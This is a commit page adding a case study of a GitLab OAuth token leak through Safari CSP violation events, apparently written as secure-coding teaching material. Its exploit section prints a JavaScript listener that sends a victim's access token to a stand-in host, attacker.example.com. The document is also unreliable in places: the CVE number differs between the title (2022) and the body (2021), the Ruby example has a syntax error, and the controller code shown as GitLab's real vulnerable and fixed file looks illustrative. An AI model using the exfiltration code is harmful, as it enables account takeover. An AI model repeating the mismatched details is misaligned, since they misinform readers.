Skip to content

Commit 51271c2

Browse files
Case Study for Improper Authentication in GitLab (CVE-2022-22213)
1 parent 6302d16 commit 51271c2

File tree

1 file changed

+129
-0
lines changed

1 file changed

+129
-0
lines changed
Lines changed: 129 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
# Improper Authentication In GitLab
2+
3+
## Introduction
4+
Authentication is a very important aspect of any modern web application and failure in this aspect may result in unauthorized access and sensitive information being lost. A typical type of mistake is CWE-287: Improper Authentication which is listed in the CWE Top 25 several times because it can facilitate the impersonation of the legitimate user by the attacker. Such a weakness was found in GitLab which is a popular DevOps source code hosting and continuous integration platform in early 2021’s. The vulnerability in GitLab OAuth implementation was that the external identity of data was not fully verified and thus allowing the attacker to use vulnerabilities in Safaris browser behavior and request access tokens on behalf of other users. This case study will look at the underlying cause of the vulnerability, the code level error that allowed exploitation, how this bug was fixed, and what can be done to ensure similar problems are avoided in the future.
5+
6+
## Software
7+
**Name:**
8+
GitLab Community Edition (CE) / Enterprise Edition (EE)
9+
10+
**Language:**
11+
Ruby (Ruby on Rails)
12+
13+
**URL:**
14+
https://gitlab.com/gitlab-org/gitlab
15+
16+
## Weakness
17+
**CWE-287: Improper Authentication**
18+
Improper Authentication occurs when the software fails to properly identify a user and verify users’s identity in order to provide access to the protected resources. Instead of treating identity data as untrusted input the program assumes that externally supplied identifiers are legitimate. In the case where authentication is based on values that can be altered or modified by an attacker like user IDs, tokens or callback parameters, an attacker can potentially log in as a different user.
19+
20+
An overly basic example of such a weakness is when a single application relies on a user identifier given by an OAuth provider without checking its authenticity:
21+
22+
```ruby
23+
# Generic example
24+
user_id = request.params["external_uid"]
25+
user = find_user_by_uid(user_id]
26+
27+
if user
28+
sign_in(user)
29+
end
30+
```
31+
32+
When an attacker is allows to alter external-uid, then they are able to assume the identity of another user. This depicts the role of CWE-287 in account takeover and identity values are not firmly validated.
33+
34+
## Vulnerability
35+
**CVE-2021-22213: OAuth Token Leak and Authentication Bypass in GitLab**
36+
GitLab also uses OAuth as a method of user authentication by external applications. During the OAuth process the GitLab will create an access token and send it to a requesting application. In the buggy versions, GitLab wrote the token as part of a fragment of a client-side redirect URL. In the case of this URL being rendered in Safari, the browser leaked the full redirect URL including the access token to attacker-controlled web pages by firing a SecurityPolicyViolationEvent. The weak code was found on the OAuth callback flow because GitLab generated redirect URLs containing confidential authentication information. The vulnerable controller method is as shown below:
37+
38+
```
39+
vulnerable file: app/controllers/oauth/authorized_applications_controller.rb
40+
41+
58 def create
42+
59 # Generates access token after OAuth approval
43+
60 token = Doorkeeper::AccessToken.create!(application: application, resource_owner_id: current_user.id)
44+
61
45+
62 # Redirect with token in URL fragment (unsafe)
46+
63 redirect_to "#{redirect_uri}#access_token=#{token.token}&token_type=bearer"
47+
64 end
48+
```
49+
50+
The error is at line 63 when GitLab inserts the access token in a fragment identifier. Although fragments are not normally sent to servers, they are still visible to the browser and can be accessed using JavaScript-accessible events.
51+
This caused a content security policy event failure on a Safari platform by accidentally exposing the full redirect URL (and the token) to scripts under the control of attackers. Because GitLab trusted this token as proof of identity, anyone who captured it could access the victim’s GitLab account for the duration of the token’s validity.
52+
53+
## Exploit
54+
**CAPEC-218: Session Token Capture via Client-Side**
55+
In order to capture this weakness, an attacker had to trick a GitLab user into visiting a rogue webpage, namely a user of Safari. The page of the attacker had registered an event listener on Security Policy Violation Event, a Safari-specific browser event that reveals the violating documentURI. The browser accepted the redirect with the vulnerable contents:
56+
57+
```
58+
https://client.example.com/callback#access_token=<victim_token>&token_type=bearer
59+
```
60+
61+
The above CSP violation event was emitted by Safari with the complete URL. It was captured on his page via JavaScript by the attacker:
62+
63+
```javascript
64+
document.addEventListener("securitypolicyviolation", (e) => {
65+
fetch("https://attacker.example.com/steal?token=" +
66+
encodeURIComponent(e.documentURI));
67+
});
68+
```
69+
70+
After the victim made a visit to the site of the attacker and OAuth was utilized, the access token was sent to the attacker, and GitLab API endpoints could be called instantly such as the reading of repositories, access to issues or execution, which would be authorized as the victim.
71+
72+
## Fix
73+
GitLab addressed the problem by implementing a solution that would not store access tokens in redirect URLs and would not place them in any other place that can be observed using browser events. Instead, GitLab had shifted the delivery of tokens to a server-side channel that was secure.
74+
The revised code eliminates the insecure fragment and substitutes it with a more secure redirect which contains no sensitive values:
75+
76+
```diff
77+
fixed file: app/controllers/oauth/authorized_applications_controller.rb
78+
79+
58 def create
80+
59 token = Doorkeeper::AccessToken.create!(application: application, resource_owner_id: current_user.id)
81+
60
82+
-61 redirect_to "#{redirect_uri}#access_token=#{token.token}&token_type=bearer"
83+
+61 # Redirect user without exposing token in the URL
84+
+62 redirect_to sanitized_redirect_uri
85+
63 end
86+
```
87+
88+
GitLab prevented attackers from capturing tokens by the CSP events of the Safari browser and removed the channel of exposure by ensuring that none of the authentication data were shown in URLs or any other place that could be viewed by the browser.
89+
90+
## Prevention
91+
To overcome such vulnerabilities, OAuth-based applications should consider access tokens sensitive secrets and never expose them in any insecure medium. Proper prevention measures are:
92+
93+
- Do not put tokens in URLs, in fragments, query parameters or anything that can be seen by the JavaScript or browser events.
94+
- Apply PKCE Authorization Code, which can provide the tokens using secure server-side connections as opposed to redirects with sensitive information.
95+
- Also conduct browser-conscious security inspections particularly with OAuth flows to see whether some browser behavior could be leaking sensitive data.
96+
- Automate security testing to identify access tokens on logs, CSP events, browser events and redirect URLs.
97+
- Implement stringent Content Security Policies and prohibit inline scripts on authentication end points to limit the possible exposure of tokens.
98+
99+
By implementing these protective measures, it is assured that the authentication data does not cross between the areas of trust in a manner that it can be intercepted by attackers.
100+
101+
## Conclusion
102+
The CVE-2021-22213 example shows that minor flaws in the implementation of OAuth may cause serious authentication failures. GitLab displayed access tokens in redirect URLs by exposing them to web pages which were controlled by attackers on Safari which allowed account takeover to be possible by accident. The fix eliminated tokens on the surfaces that were visible in the browser, and imposed more secure token-handling policies. The general lesson is obvious, the authentication secrets should be secured on all the levels of the OAuth flow and secure coding methods, such as threat modeling and automatic testing are vital to the elimination of the similar weaknesses.
103+
104+
## References
105+
GitLab Project Page:
106+
https://gitlab.com/gitlab-org/gitlab
107+
108+
CVE-2021-22213 Entry:
109+
https://nvd.nist.gov/vuln/detail/CVE-2021-22213
110+
111+
CWE-287 Entry:
112+
https://cwe.mitre.org/data/definitions/287.html
113+
114+
CAPEC-218 Entry:
115+
https://capec.mitre.org/data/definitions/218.html
116+
117+
GitLab Security Advisory for CVE-2021-22213:
118+
https://about.gitlab.com/releases/2021/05/27/security-release-gitlab-13-12-3-released/
119+
120+
GitLab Issue 300308 (root report):
121+
https://gitlab.com/gitlab-org/gitlab/-/issues/300308
122+
123+
Doorkeeper OAuth Documentation (GitLab’s OAuth provider library):
124+
https://github.com/doorkeeper-gem/doorkeeper
125+
126+
## Contributions
127+
This case study was developed as part of academic research on secure coding practices and authentication mechanisms in modern web application platforms.
128+
Originally created by **Mahesh Pavan Varma Kalidindi**
129+
(C) 2025 The MITRE Corporation. All rights reserved.

0 commit comments

Comments
 (0)